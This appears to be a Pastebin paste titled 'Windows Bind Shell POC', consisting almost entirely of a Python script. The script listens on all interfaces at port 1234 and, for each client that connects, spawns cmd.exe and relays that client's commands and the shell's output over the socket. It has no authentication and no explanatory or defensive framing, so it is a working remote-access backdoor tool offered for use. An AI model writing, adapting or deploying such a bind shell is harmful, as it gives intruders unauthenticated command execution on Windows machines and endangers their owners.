Advertisement
GoodiesHQ

Windows Bind Shell POC

Nov 11th, 2016
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.30 KB | None | 0 0
  1. import os
  2. import re
  3. import asyncore
  4. import traceback
  5. import subprocess
  6. from socket import AF_INET, SOCK_STREAM
  7.  
  8. class WinCLI:
  9.     default_prompt = re.compile(r"^{}:\\.*>".format(os.getcwd()[0]), re.M)
  10.  
  11.     def __init__(self, proc, prompt=default_prompt):
  12.         self.proc = proc
  13.         self.prompt = prompt
  14.         self.output = ""
  15.         self.changed = True
  16.  
  17.     def kill(self):
  18.         self.send("exit")
  19.         self.proc.kill()
  20.  
  21.     def get(self):
  22.         if self.changed:
  23.             self.changed = False
  24.             while not self.prompt.search(self.output):
  25.                 c = self.proc.stdout.read(1)
  26.                 if c == "" or c is None:
  27.                     break
  28.                 self.output += c
  29.             output, self.output = self.output, ""
  30.             return output
  31.         else:
  32.             return "Process is likely dead. Please reconnect."
  33.  
  34.     def send(self, cmd):
  35.         try:
  36.             if not isinstance(cmd, str):
  37.                 cmd = cmd.decode()
  38.             if self.proc.poll() is None:
  39.                 self.changed = True
  40.                 self.proc.stdin.write(cmd + "\n")
  41.             return True
  42.         except Exception as e:
  43.             print(e)
  44.             traceback.print_exc()
  45.             return False
  46.  
  47.     def __call__(self, cmd):
  48.         try:
  49.             if self.send(cmd):
  50.                 return self.get()
  51.         except Exception as e:
  52.             print(e)
  53.             traceback.print_exc()
  54.         return ""
  55.  
  56.  
  57. class CustomHandler(asyncore.dispatcher_with_send):
  58.     BUFFER_SIZE = 2048
  59.  
  60.     def __init__(self, sock, srv, cli):
  61.         asyncore.dispatcher_with_send.__init__(self, sock)
  62.         sock.send(cli.get())
  63.         self.srv = srv
  64.         self.cli = cli
  65.  
  66.     def handle_read(self):
  67.         data = self.recv(self.BUFFER_SIZE)
  68.         if data is not None:
  69.             try:
  70.                 self.send(self.cli(data))
  71.             except Exception as e:
  72.                 print(e)
  73.                 traceback.print_exc()
  74.  
  75.     def handle_close(self):
  76.         if self.srv.remove_client(self) is True:
  77.             print("Client disconnected...")
  78.             self.cli.kill()
  79.             self.close()
  80.  
  81.  
  82. class CustomServer(asyncore.dispatcher):
  83.     def __init__(self, addr, port):
  84.         asyncore.dispatcher.__init__(self)
  85.         self.conns = {}
  86.         self.create_socket(AF_INET, SOCK_STREAM)
  87.         self.set_reuse_addr()
  88.         self.bind((addr, port))
  89.         self.listen(5)
  90.  
  91.     def remove_client(self, client):
  92.         removed = False
  93.         try:
  94.             del self.conns[client.fileno()]
  95.             removed = True
  96.         except KeyError:
  97.             removed = False
  98.         finally:
  99.             return removed
  100.  
  101.     def handle_accept(self):
  102.         con = self.accept()
  103.         if con is not None:
  104.             sock, (addr, port,) = con
  105.             print("New client connected from {}:{}".format(addr, port))
  106.             # if sock.fileno() not in self.conns:
  107.             self.conns[sock.fileno()] = CustomHandler(sock, self, WinCLI(subprocess.Popen(["cmd.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)))
  108.         print(self.conns)
  109.  
  110.  
  111. def main(host, port):
  112.     CustomServer(host, port)
  113.     print("Listening on {}:{}...".format(host, port))
  114.     asyncore.loop()
  115.  
  116. if __name__ == '__main__':
  117.     main("0.0.0.0", 1234)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement